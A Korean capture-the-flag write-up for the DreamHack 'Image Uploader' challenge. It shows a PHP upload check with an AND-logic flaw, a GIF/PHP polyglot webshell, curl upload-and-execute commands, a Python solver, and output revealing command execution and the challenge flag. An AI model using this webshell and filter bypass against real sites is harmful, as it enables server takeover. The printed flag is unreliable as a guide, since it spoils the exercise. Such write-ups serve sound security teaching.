[🥉 Bronze 2] GIF 폴리글랏으로 PHP 웹셸 업로드 — DreamHack Image Uploader 풀이

$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$check_extension = $file_extension;
 
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file['tmp_name']);   // 실제 파일 내용으로 판정
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'image/jpg'];
 
// 확장자도 아니고 MIME 도 아닐 때만 거부
if (!in_array($mime_type, $allowed_mimes) && !in_array($check_extension, $allowed_extensions)) {
    die("...Only images allowed...");
}
 
$new_filename = date('YmdHis') . '_' . mt_rand(1000, 9999) . '_' . $filename;  // 확장자 보존

poly  : image/gif    ← GIF89a; <?php ... ?>
plain : text/x-php   ← <?php ... ?>  (헤더 없으면 거부됨)

AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .inc
<FilesMatch "\.php">
    SetHandler application/x-httpd-php
</FilesMatch>

GIF89a;
<?php system($_GET['c']); ?>

# 1) 업로드
curl -s http://<host>/upload.php \
     -F 'file=@shell.php;type=image/gif' -F 'title=x' -F 'description=x'
 
# 2) 저장된 파일명 확인
curl -s http://<host>/uploads/info.json
 
# 3) 웹셸로 flag 읽기
curl -s 'http://<host>/uploads/20260604082113_6127_shell.php?c=cat%20/var/www/html/flag.txt'

#!/usr/bin/python3
# Image Uploader 솔버 — 확장자/MIME 검사를 &&(AND) 로 묶은 허점을 이용한다.
#   upload.php:  if (!in_array(mime, allowed) && !in_array(ext, allowed)) reject;
#   → mime 또는 ext 중 하나만 통과하면 업로드됨.
#   GIF89a 매직바이트를 앞에 붙인 .php 웹셸은 finfo 가 image/gif 로 판정 → 통과.
#   uploads/.htaccess 가 .php 에 php 핸들러를 걸어줘서 업로드된 셸이 실행된다.
import sys
import re
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8088").rstrip("/")
s = requests.Session()
 
# GIF/PHP 폴리글랏 웹셸 — 앞부분이 GIF 시그니처라 finfo 가 image/gif 로 인식
shell = b"GIF89a;\n<?php system($_GET['c']); ?>\n"
 
# 1) 업로드 (필드명 file, 확장자 .php)
files = {"file": ("shell.php", shell, "image/gif")}

$ python3 solve.py http://host3.dreamhack.games:14830
[*] upload.php -> 200: <script>alert('File uploaded successfully!'); location.href='gallery.php';</scri
[+] 업로드된 웹셸: uploads/20260604082113_6127_shell.php
[*] RCE: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[FLAG] DH{6cb5076e71927728a48baa3ed77dbc9d}

DH{6cb5076e71927728a48baa3ed77dbc9d}